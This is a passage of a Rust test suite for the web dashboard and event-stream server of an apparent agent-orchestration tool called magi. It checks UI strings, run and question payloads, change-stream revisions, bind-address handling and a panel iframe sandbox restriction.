13092 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13093 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13094 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13095 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13096 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13097 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13098 assert!(APP_JS.contains("unreadable` : null"));
13100 }
13101
13102 #[test]
13103 fn the_run_detail_payload_says_whether_the_run_is_done() {
13104 for (status, done) in [
13106 (RunStatus::Superseded, true),
13107 (RunStatus::Blocked, true),
13108 (RunStatus::Landing, false),
13109 ] {
13110 let mut state = RunState::new(
13111 std::path::PathBuf::from("/repo"),
13112 "main".to_owned(),
13113 "abc".to_owned(),
13114 "x".to_owned(),
13115 crate::config::Config::default(),
13116 );
13117 state.status = status;
13118 let v = serde_json::to_value(RunDetailView::of(
13119 state,
13120 crate::run::Liveness::Unknown,
13121 None,
13122 None,
13123 None,
13124 ))
13125 .unwrap();
13126 assert_eq!(v["done"], done, "{status:?}");
13127 }
13128 }
13129
13130 fn has_strong(nodes: &[md::Node]) -> bool {
13132 serde_json::to_string(nodes).unwrap().contains("strong")
13133 }
13134
13135 #[test]
13136 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13137 let mut state = RunState::new(
13138 std::path::PathBuf::from("/repo"),
13139 "main".to_owned(),
13140 "abc".to_owned(),
13141 "x".to_owned(),
13142 crate::config::Config::default(),
13143 );
13144 let proposal = |approach: &str| {
13145 serde_json::json!({
13146 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13147 })
13148 };
13149 state.advice = Some(
13150 serde_json::from_value(serde_json::json!({
13151 "records": [
13152 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13153 "proposal": proposal("do **this**")},
13154 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13155 ],
13156 "synthesis": "- one\n- **two**\n\n`code`",
13157 }))
13158 .unwrap(),
13159 );
13160 state.candidates = serde_json::from_value(serde_json::json!([
13161 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13162 "summary": "did **it**"},
13163 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13164 ]))
13165 .unwrap();
13166 state.reviews = serde_json::from_value(serde_json::json!([{
13169 "round": 1, "head": "h",
13170 "reviews": [{
13171 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13172 "findings": [
13173 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13174 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13175 ],
13176 }],
13177 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13178 "fix": {"agent": "a", "notes": "fixed **it**",
13179 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13180 }, {"round": 2, "head": "h2", "reviews": []}]))
13181 .unwrap();
13182
13183 let v = serde_json::to_value(RunDetailView::of(
13184 state,
13185 crate::run::Liveness::Unknown,
13186 None,
13187 None,
13188 None,
13189 ))
13190 .unwrap();
13191
13192 let strong = |p: &str| {
13193 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13194 assert!(n.to_string().contains("strong"), "{p}: {n}");
13195 };
13196 strong("/advice_md/synthesis");
13197 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13198 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13199 strong("/advice_md/approaches/0");
13200 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13201 strong("/candidate_summaries_md/0");
13202 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13203 strong("/reviews_md/0/reviewers/0/summary");
13204 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13205 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13206 assert!(f[1].to_string().contains("strong"));
13207 strong("/reviews_md/0/reconsideration/0");
13208 strong("/reviews_md/0/fix/notes");
13209 strong("/reviews_md/0/fix/rejected/0");
13210 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13211 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13212 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13214 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13215 }
13216
13217 #[test]
13218 fn a_run_without_advice_has_no_advice_md() {
13219 let state = RunState::new(
13220 std::path::PathBuf::from("/repo"),
13221 "main".to_owned(),
13222 "abc".to_owned(),
13223 "x".to_owned(),
13224 crate::config::Config::default(),
13225 );
13226 let p = run_prose_md(&state);
13227 assert!(p.advice_md.is_none());
13228 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13229 }
13230
13231 #[test]
13232 fn a_question_view_carries_markdown_for_each_thread_turn() {
13233 let home = TempDir::new().unwrap();
13234 let store = ask::Questions::at(home.path().join("questions"));
13235 let mut q = Question::new(
13236 "run".to_owned(),
13237 "implement".to_owned(),
13238 "impl-A".to_owned(),
13239 "which?".to_owned(),
13240 String::new(),
13241 Vec::new(),
13242 );
13243 q.say("plain words").unwrap();
13244 q.reply("use **this**", Vec::new()).unwrap();
13245 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13246 let bodies = &v["thread_bodies_md"];
13247 assert_eq!(bodies.as_array().unwrap().len(), 2);
13248 assert!(!bodies[0].to_string().contains("strong"));
13249 assert!(bodies[1].to_string().contains("strong"));
13250 }
13251
13252 #[test]
13253 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13254 let home = TempDir::new().unwrap();
13255 let store = ask::Questions::at(home.path().join("questions"));
13256 let mut q = Question::new(
13257 "run".to_owned(),
13258 "conduct".to_owned(),
13259 "conduct".to_owned(),
13260 "which?".to_owned(),
13261 String::new(),
13262 Vec::new(),
13263 );
13264 q.say("plain words").unwrap();
13265 q.thread.push(ask::Turn {
13266 who: ask::Who::Agent,
13267 body: "Settled as `merge`".to_owned(),
13268 at: jiff::Timestamp::now(),
13269 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13270 });
13271 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13272 let notes = &v["thread_notes_md"];
13273 assert_eq!(notes.as_array().unwrap().len(), 2);
13274 assert!(notes[0].is_null());
13275 let text = notes[1].to_string();
13276 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13277 assert!(APP_JS.contains("ask-turn-note"));
13278 }
13279
13280 #[test]
13281 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13282 assert!(APP_JS.contains("function landView(run, raw) {"));
13286 assert!(
13287 APP_JS.contains(
13288 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13289 )
13290 );
13291 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13292 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13293 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13294 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13295 }
13296
13297 #[test]
13298 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13299 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13300 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13301 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13302 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13303 }
13304
13305 #[test]
13306 fn review_rounds_label_a_distinct_verified_head() {
13307 assert!(APP_JS.contains("round.verified_head"));
13308 assert!(APP_JS.contains("verified HEAD"));
13309 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13310 }
13311
13312 #[test]
13313 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13314 assert!(APP_JS.contains("blocked: { glyph:"));
13318 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13319
13320 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13324 assert!(
13325 APP_JS.contains(
13326 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13327 ),
13328 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13329 );
13330 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13334
13335 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13339 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13340 assert!(
13341 APP_JS.contains("location.hash = \"#/questions\";"),
13342 "a question node must jump to the Questions screen, not pretend to be a task"
13343 );
13344
13345 assert!(APP_JS.contains("Resolved questions"));
13348 assert!(APP_JS.contains("r.answersList.append("));
13349 assert!(APP_CSS.contains(".task-answers"));
13350 {
13351 let start = APP_JS
13352 .find("function updateTalkTaskRow")
13353 .expect("updateTalkTaskRow");
13354 let body = &APP_JS[start..];
13355 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13356 assert!(
13357 body.contains(
13358 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13359 ),
13360 "a chat-filed task row must link to the task page"
13361 );
13362 assert!(
13363 !body.contains("#/runs/") && !body.contains("#/queue/"),
13364 "the row must not branch to a run or the queue card"
13365 );
13366 assert!(APP_CSS.contains(".talk-task-link"));
13367 }
13368 }
13369
13370 #[test]
13371 fn a_task_notification_links_to_the_task_page() {
13372 let start = APP_JS
13374 .find("function noticeLink(")
13375 .expect("noticeLink exists");
13376 let body = &APP_JS[start..];
13377 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13378 assert!(
13379 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13380 "a task notice's link must target the task page"
13381 );
13382 assert!(
13383 !body.contains("#/queue/"),
13384 "regression: the task link must not go back to the Backlog route"
13385 );
13386 assert!(
13387 APP_JS.contains(
13388 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13389 ),
13390 "`#/tasks/<id>` must parse into the task route"
13391 );
13392
13393 assert!(
13395 APP_JS.contains(
13396 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13397 ),
13398 "`#/queue/<id>` must parse into a route carrying that id"
13399 );
13400
13401 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13405 assert!(APP_JS.contains("function consumeQueueFocus()"));
13406 assert!(APP_JS.contains("jumpToTask(id)"));
13407 }
13408
13409 #[test]
13412 fn chat_rows_put_the_title_alone_on_the_first_line() {
13413 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13414 assert!(APP_CSS.contains(
13415 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13416 ));
13417 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13418 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13419 }
13420
13421 #[test]
13422 fn run_rows_put_the_title_alone_on_the_first_line() {
13423 assert!(
13424 APP_CSS.contains(
13425 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13426 )
13427 );
13428 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13429 assert!(APP_JS.contains("class: \"card run-card\""));
13430 assert!(APP_JS.contains("class: \"repo run-id\""));
13431 }
13432
13433 #[test]
13437 fn wide_screens_show_list_and_preview_side_by_side() {
13438 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13440 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13441 assert!(APP_CSS.contains("main[data-split]"));
13442 assert!(APP_CSS.contains("body[data-split]"));
13443
13444 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13446 assert!(
13447 APP_JS.contains(
13448 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13449 )
13450 );
13451 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13452 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13453 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13454
13455 assert!(APP_JS.contains("function markSelected() {"));
13457 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13458 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13459 assert!(
13461 APP_CSS.contains(
13462 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13463 )
13464 );
13465
13466 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13468 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13469 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13470 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13471
13472 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13476 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13477 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13478 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13479
13480 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13482 }
13483
13484 #[test]
13485 fn panel_sandbox_carries_exactly_popups() {
13486 let needle = "sandbox: \"";
13487 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13488 assert_eq!(
13489 matches.len(),
13490 1,
13491 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13492 );
13493 let start = matches[0].0 + needle.len();
13494 let end = APP_JS[start..]
13495 .find('"')
13496 .expect("sandbox attribute value must be terminated by a closing quote");
13497 let val = &APP_JS[start..start + end];
13498 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13499 let expected: std::collections::BTreeSet<&str> =
13500 ["allow-popups", "allow-popups-to-escape-sandbox"]
13501 .into_iter()
13502 .collect();
13503 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13504 assert!(
13505 !tokens.contains("allow-scripts"),
13506 "allow-scripts must never be present in sandbox"
13507 );
13508 assert!(
13509 !tokens.contains("allow-same-origin"),
13510 "allow-same-origin must never be present in sandbox"
13511 );
13512 }
13513
13514 #[test]
13515 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13516 assert!(
13525 APP_JS.contains(
13526 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13527 ),
13528 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13529 recursive renderQueue() call has nothing left to jump to"
13530 );
13531 assert!(
13532 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13533 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13534 arrives later still gets it"
13535 );
13536 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13537 assert!(APP_JS.contains("is not in the current Backlog."));
13538 assert!(APP_JS.contains("li.card[data-task-id=\""));
13539 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13540 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13541 assert!(APP_CSS.contains(".card-permalink"));
13542 assert!(APP_CSS.contains(".queue-focus-status"));
13543 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13544 }
13545
13546 #[test]
13547 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13548 assert!(
13556 APP_JS.contains(
13557 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13558 ),
13559 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13560 );
13561 }
13562
13563 #[test]
13564 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13565 assert!(
13566 APP_JS.contains("round.verified_head !== round.head"),
13567 "a round that verified an earlier commit must be visibly distinct from one that \
13568 verified the head reviewers are looking at now"
13569 );
13570 assert!(
13571 APP_JS.contains("round.verified_at"),
13572 "when a check ran must be on the wire, not just which commit"
13573 );
13574 assert!(
13575 APP_JS.contains("resource_blocked"),
13576 "a command magi never got to run (shared build cache contention) must not render \
13577 the same as a command that ran and failed"
13578 );
13579 }
13580
13581 #[test]
13582 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13583 assert!(
13591 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13592 "every KPI tile built through statusTile() must route its click through \
13593 openRunsFiltered, the single place that sets the Runs filter"
13594 );
13595 for (label, status) in [
13596 ("Merged", "merged"),
13597 ("Ready", "ready"),
13598 ("Blocked", "blocked"),
13599 ("Stalled", "stalled"),
13600 ] {
13601 let call = format!("statusTile(\"{label}\", t.{status}, ");
13602 assert!(
13603 APP_JS.contains(&call),
13604 "expected the {label} KPI tile built via {call}..."
13605 );
13606 assert!(
13607 APP_JS.contains(&format!("status === \"{status}\"")),
13608 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
13609 compare a run against, not one invented only for the stats tile"
13610 );
13611 }
13612 assert!(
13613 APP_JS.contains("function openRunsFiltered(status)"),
13614 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
13615 );
13616 assert!(
13617 APP_JS.contains(
13618 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
13619 ),
13620 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
13621 );
13622 assert!(
13630 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
13631 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
13632 hashchange event that may never fire"
13633 );
13634 }
13635
13636 #[test]
13637 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
13638 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
13644 assert!(
13645 APP_JS.contains(
13646 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
13647 ),
13648 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
13649 guard for an incompatible tree section"
13650 );
13651 }
13652
13653 #[test]
13654 fn every_stats_queue_tile_names_a_real_queue_section() {
13655 assert!(
13661 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
13662 "every queue tile built through sectionTile() must route its click through \
13663 openQueueSectionFocus"
13664 );
13665 for key in ["upnext", "running", "done", "held", "blocked"] {
13666 assert!(
13667 APP_JS.contains(&format!("{{ key: \"{key}\",")),
13668 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
13669 );
13670 }
13671 for line in [
13675 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
13676 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
13677 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
13678 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
13679 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
13680 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
13681 ] {
13682 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
13683 }
13684 }
13685
13686 #[test]
13687 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
13688 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
13695 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
13696 assert!(APP_JS.contains("function revealQueueSection(details)"));
13697 assert!(
13698 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
13699 "renderQueue() must consume both focus channels on every pass"
13700 );
13701 assert!(
13702 APP_JS.contains(
13703 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
13704 ),
13705 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
13706 the recursive renderQueue() call has nothing left to reveal"
13707 );
13708 assert!(
13709 APP_JS.contains(
13710 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
13711 ),
13712 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
13713 );
13714 assert!(
13722 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
13723 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
13724 hashchange event that may never fire"
13725 );
13726 }
13727
13728 #[tokio::test]
13729 async fn the_change_stream_announces_the_current_revisions_on_connect() {
13730 let f = Fixture::start().await;
13731
13732 let mut socket = tokio::net::TcpStream::connect(f.addr)
13733 .await
13734 .expect("connect");
13735 socket
13736 .write_all(
13737 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
13738 )
13739 .await
13740 .expect("write request");
13741
13742 let mut seen = String::new();
13745 let mut buf = [0u8; 1024];
13746 while !seen.contains("event: change") {
13747 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
13748 .await
13749 .expect("the stream must speak within five seconds")
13750 .expect("read");
13751 assert!(read > 0, "the server closed the change stream: {seen}");
13752 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13753 }
13754
13755 assert!(
13756 seen.to_lowercase()
13757 .contains("content-type: text/event-stream"),
13758 "the browser only reconnects automatically for a real SSE stream: {seen}"
13759 );
13760 let data = seen
13761 .lines()
13762 .find_map(|l| l.strip_prefix("data:"))
13763 .expect("a data line");
13764 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13765 assert!(
13766 payload["queue_rev"].is_u64()
13767 && payload["runs_rev"].is_u64()
13768 && payload["questions_rev"].is_u64()
13769 && payload["talks_rev"].is_u64()
13770 && payload["notifications_rev"].is_u64()
13771 && payload["loop_rev"].is_u64(),
13772 "the client needs one revision per store to know what to refetch, \
13773 and `talks_rev` is the only notification a standing talk gets - a \
13774 phone whose radio slept through a turn learns about it here, as \
13775 does one whose operator started the loop from another device: \
13776 {payload}"
13777 );
13778
13779 let health = f.get("/api/health").await.json();
13786 for key in [
13787 "queue_rev",
13788 "runs_rev",
13789 "questions_rev",
13790 "talks_rev",
13791 "notifications_rev",
13792 "loop_rev",
13793 ] {
13794 assert!(
13795 health[key].is_u64(),
13796 "health is the change stream's fallback and is missing `{key}`: {health}"
13797 );
13798 }
13799 }
13800
13801 #[tokio::test]
13802 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13803 let f = Fixture::start().await;
13804 let before = f.get("/api/health").await.json()["talks_rev"]
13805 .as_u64()
13806 .expect("talks_rev");
13807
13808 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13809 std::thread::sleep(Duration::from_millis(10));
13810 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13811 on_disk.turns.push(crate::talk::Turn {
13812 breaks: Some(Vec::new()),
13813 who: crate::talk::Who::Operator,
13814 body: "a new turn".to_owned(),
13815 at: Timestamp::now(),
13816 attachments: Vec::new(),
13817 usage: None,
13818 });
13819 f.talks().put(&mut on_disk).expect("record a turn");
13820
13821 let after = f.get("/api/health").await.json()["talks_rev"]
13822 .as_u64()
13823 .expect("talks_rev");
13824 assert_ne!(
13825 before, after,
13826 "a phone must be able to notice a talk's reply without polling every store"
13827 );
13828 }
13829
13830 #[test]
13831 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13832 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13836 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13837 }
13838 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13839 assert!("everywhere".parse::<Bind>().is_err());
13840 }
13841
13842 #[test]
13843 fn an_explicit_bind_address_is_taken_verbatim() {
13844 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13845
13846 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13847
13848 assert_eq!(addr, asked);
13849 assert!(
13850 warning.is_none(),
13851 "an operator who named an address gets no lecture"
13852 );
13853 }
13854
13855 #[test]
13856 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13857 let (addr, warning) = resolve_bind(&Bind::Auto);
13858
13859 match addr {
13866 IpAddr::V4(ip) if is_tailnet(&ip) => {
13867 assert!(warning.is_none(), "a tailnet address needs no warning");
13868 }
13869 other => {
13870 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13871 let warning = warning.expect("a fallback has to explain itself");
13872 assert!(
13873 warning.contains("127.0.0.1") && warning.contains("local-only"),
13874 "the warning says what happened and what it costs: {warning}"
13875 );
13876 }
13877 }
13878 }
13879
13880 #[test]
13881 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13882 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13886 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13887 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13888 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13889 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13890 }
13891
13892 #[test]
13893 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13894 let ids = vec![
13895 "20260902-140501-aaaa".to_owned(),
13896 "20260902-140502-aabb".to_owned(),
13897 ];
13898
13899 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13900 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13901 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13902
13903 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13904 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13905 assert_eq!(short, "20260902-140502-aabb");
13906 }
13907 #[tokio::test]
13908 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13909 let fx = Fixture::start().await;
13915 let id = panel(
13916 &fx,
13917 "<img src=\"shot.png\">",
13918 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13919 );
13920
13921 let doc = fx
13923 .get(&format!("/api/questions/{id}/panel/index.html"))
13924 .await;
13925 assert_eq!(doc.status, 200, "{}", doc.body);
13926 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13927
13928 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13929 assert_eq!(sibling.status, 200, "{}", sibling.body);
13930 assert_eq!(sibling.header("content-type"), Some("image/png"));
13931 assert_eq!(
13932 sibling.header("content-security-policy"),
13933 Some(PANEL_CSP),
13934 "the sibling route must carry the same policy as the asset route"
13935 );
13936
13937 assert_eq!(
13940 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13941 200
13942 );
13943 }
13944
13945 #[test]
13946 fn delta_stamps_cover_add_update_remove_and_noop() {
13947 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13948 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13949 let delta = diff_stamps(&before, &after, 42);
13950 assert_eq!(delta.base, 42);
13951 assert_eq!(delta.changed, ["b", "c"]);
13952 assert_eq!(delta.removed, ["a"]);
13953 let same = diff_stamps(&after, &after, 43);
13954 assert!(same.changed.is_empty() && same.removed.is_empty());
13955 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13956 let nanos: Stamps = [("b".into(), (2, 20))].into();
13957 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13958 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13959 assert_eq!(stamps_revision(&Stamps::new()), 0);
13960 }
13961
13962 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13963 std::fs::create_dir_all(home.join("runs")).unwrap();
13964 Arc::new(Ui::new(
13965 Queue::at(home.join("queue")),
13966 Questions::at(home.join("questions")),
13967 Talks::at(home.join("talks")),
13968 home.join("runs"),
13969 home.to_owned(),
13970 PathBuf::from("/repo/magi"),
13971 ))
13972 }
13973
13974 #[tokio::test]
13975 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13976 let home = TempDir::new().unwrap();
13977 let ui = delta_test_ui(home.path());
13978 let mut task = Task::new(
13979 "stream task".into(),
13980 "text".into(),
13981 PathBuf::from("/repo"),
13982 Source::Human,
13983 );
13984 ui.queue.put(&mut task).unwrap();
13985 let response = events(State(ui.clone())).await.into_response();
13986 let mut stream = response.into_body().into_data_stream();
13987 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13988 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13989 .await
13990 .unwrap()
13991 .unwrap()
13992 .unwrap();
13993 let text = String::from_utf8(chunk.to_vec()).unwrap();
13994 let data = text
13995 .lines()
13996 .find_map(|line| {
13997 line.strip_prefix("data: ")
13998 .or_else(|| line.strip_prefix("data:"))
13999 })
14000 .unwrap();
14001 serde_json::from_str(data).unwrap()
14002 }
14003 let initial = change(&mut stream).await;
14004 assert!(initial.get("queue_delta").is_none());
14005 task.instruction.push_str(" changed");
14006 ui.queue.put(&mut task).unwrap();
14007 let updated = change(&mut stream).await;
14008 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14009 assert_eq!(
14010 updated["queue_delta"]["changed"],
14011 serde_json::json!([task.id])
14012 );
14013 assert_eq!(
14014 updated["queue_rev"].as_u64(),
14015 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14016 );
14017 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14018 let removed = change(&mut stream).await;
